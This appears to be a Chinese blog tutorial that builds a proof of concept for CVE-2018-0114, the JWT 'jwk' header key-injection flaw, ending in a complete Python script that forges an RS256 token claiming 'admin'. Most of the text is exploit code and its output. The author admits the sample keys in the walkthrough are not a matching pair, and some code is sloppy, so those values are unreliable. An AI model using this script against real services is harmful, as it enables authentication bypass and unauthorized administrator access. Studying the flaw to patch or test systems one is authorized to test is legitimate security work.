一篇水文。。。起名困难症(改了几次) 参考思路就行
POC构造思路
- 先生成rsa密钥 :public key 和private key
python
import rsa
def generate_key(key_size):
print('[+]Creating-RSA-pair-key')
(public_key, private_key) = rsa.newkeys(key_size, poolsize=8)
print("\t[+]Pair-Key-created")
return private_key, public_key
private_key, public_key = generate_key(int(512))
- 提取 n,e:
python
print(public_key.n)
为:
python
7076715501507999070466602684619345782186000392746800466731867297328334333379571428801893507491054811882528149952022901781164450081630600727750713002635091
bytes转int(https://blog.csdn.net/iblade/article/details/73289831 )
python
def pack_bigint(i):
b = bytearray()
while i:
b.append(i & 0xFF)
i >>= 8
return b[::-1]
然后再转为base64编码的
python
n=base64.urlsafe_b64encode(pack_bigint(pubkey.n)).decode('utf-8').rstrip('=')
e=base64.urlsafe_b64encode(pack_bigint(pubkey.e)).decode('utf-8').rstrip('=')
汇总一下写py脚本就是
python
def get_n_and_e(target):
b = bytearray()
while target:
b.append( target & 0xFF)
target >>= 8
int_object = b[::-1]
return base64.urlsafe_b64encode(int_object).decode('utf-8').rstrip('=')
获取到的n为:
python
mbS8ENZVgERqASWVZK892gvgZug3Cul46tR6lLZFcmM7_8ZA4vLuUWdwfrXsZtM6z_ORJmGz2mQQ10J5uhlgZw
获取到的e为
python
AQAB
- 构造header
将刚刚生成的n和e放入符合格式要求的header下(有jwk)
python
{
"alg":"RS256",
"jwk": {
"kty":"RSA",
"kid":"bilbo.baggins@hobbiton.example",
"use":"sig",
"n":"mbS8ENZVgERqASWVZK892gvgZug3Cul46tR6lLZFcmM7_8ZA4vLuUWdwfrXsZtM6z_ORJmGz2mQQ10J5uhlgZw",
"e":"AQAB"
}
}
base64后则是:
python
ewogICJhbGciOiJSUzI1NiIsCiAgImp3ayI6ICB7CiAgICAgICAgICAia3R5IjoiUlNBIiwKICAgICAgICAgICJraWQiOiJiaWxiby5iYWdnaW5zQGhvYmJpdG9uLmV4YW1wbGUiLAogICAgICAgICAgInVzZSI6InNpZyIsCiAgICAgICAgICAibiI6Im1iUzhFTlpWZ0VScUFTV1ZaSzg5Mmd2Z1p1ZzNDdWw0NnRSNmxMWkZjbU03XzhaQTR2THVVV2R3ZnJYc1p0TTZ6X09SSm1HejJtUVExMEo1dWhsZ1p3IiwKICAgICAgICAgICJlIjoiQVFBQiIKICAgICAgICAgIH0KfQ
- 生成payload
python
def generate_payload():
logined_in = b'admin'
payload = base64.urlsafe_b64encode(logined_in).decode('utf-8').rstrip('=')
return payload
生成后的
python
YWRtaW4
- 对header+payload部分进行sign
python
firstpart = "ewogICJhbGciOiJSUzI1NiIsCiAgImp3ayI6ICB7CiAgICAgICAgICAia3R5IjoiUlNBIiwKICAgICAgICAgICJraWQiOiJiaWxiby5iYWdnaW5zQGhvYmJpdG9uLmV4YW1wbGUiLAogICAgICAgICAgInVzZSI6InNpZyIsCiAgICAgICAgICAibiI6Im1iUzhFTlpWZ0VScUFTV1ZaSzg5Mmd2Z1p1ZzNDdWw0NnRSNmxMWkZjbU03XzhaQTR2THVVV2R3ZnJYc1p0TTZ6X09SSm1HejJtUVExMEo1dWhsZ1p3IiwKICAgICAgICAgICJlIjoiQVFBQiIKICAgICAgICAgIH0KfQ.YWRtaW4"
signature = rsa.sign(firstpart, private_key, 'SHA-256')
signature = base64.b64encode(signature)
最后为:
python
KlmabUs5RmdVCLWbjdWppgjy43kp9yxibCO8IHCXPV/oHGVziCIHS7XCdvATomjocdBM1ZnXU/nlJFWaK4Cuuw==
- 组合
python
ewogICJhbGciOiJSUzI1NiIsCiAgImp3ayI6ICB7CiAgICAgICAgICAia3R5IjoiUlNBIiwKICAgICAgICAgICJraWQiOiJiaWxiby5iYWdnaW5zQGhvYmJpdG9uLmV4YW1wbGUiLAogICAgICAgICAgInVzZSI6InNpZyIsCiAgICAgICAgICAibiI6Im1iUzhFTlpWZ0VScUFTV1ZaSzg5Mmd2Z1p1ZzNDdWw0NnRSNmxMWkZjbU03XzhaQTR2THVVV2R3ZnJYc1p0TTZ6X09SSm1HejJtUVExMEo1dWhsZ1p3IiwKICAgICAgICAgICJlIjoiQVFBQiIKICAgICAgICAgIH0KfQ.YWRtaW4.KlmabUs5RmdVCLWbjdWppgjy43kp9yxibCO8IHCXPV/oHGVziCIHS7XCdvATomjocdBM1ZnXU/nlJFWaK4Cuuw
上面的仅供参考参考,模块化执行的(写好笔记后发现举的例子里private_key和public_key不是一对)
汇总
参考github(POC-CVE-2018-0114/jwk-node-jose.py at master · zi0Black/POC-CVE-2018-0114 · GitHub) ,我写的代码:
python
import rsa
import base64
from urllib.parse import quote_plus
import json
def generate_key(key_size):
print('[+]Creating-RSA-pair-key')
(public_key, private_key) = rsa.newkeys(key_size, poolsize=8)
print("\t[+]Pair-Key-created")
return private_key, public_key
def get_n_and_e(target):
b = bytearray()
while target:
b.append( target & 0xFF)
target >>= 8
int_object = b[::-1]
return base64.urlsafe_b64encode(int_object).decode('utf-8').rstrip('=')
def generate_payload():
logined_in = b'admin'
payload = base64.urlsafe_b64encode(logined_in).decode('utf-8').rstrip('=')
return payload
print(payload)
def generate_header(public_key):
n = get_n_and_e(public_key.n)
e = get_n_and_e(public_key.e)
format_header = {
"alg":"RS256",
"jwk": {
"kty":"RSA",
"kid":"bilbo.baggins@hobbiton.example",
"use":"sig",
"n":f"{n}",
"e":f"{e}"
}
}
format_header = json.dumps(format_header)
header = base64.b64encode(format_header.encode())
return header
def sign(target,private_key):
signature = rsa.sign(target, private_key, 'SHA-256')
signature = base64.b64encode(signature)
return signature
def output(header,payload,signature):
auth = header+b'.'+payload+b'.'+signature
auth = auth.decode('utf-8').rstrip('=')
return quote_plus(auth)
def main():
private_key, public_key = generate_key(int(512))
header = generate_header(public_key)
payload = base64.b64encode(b'admin')
signature = sign(header+b'.'+payload, private_key)
print(output(header, payload, signature) )
main()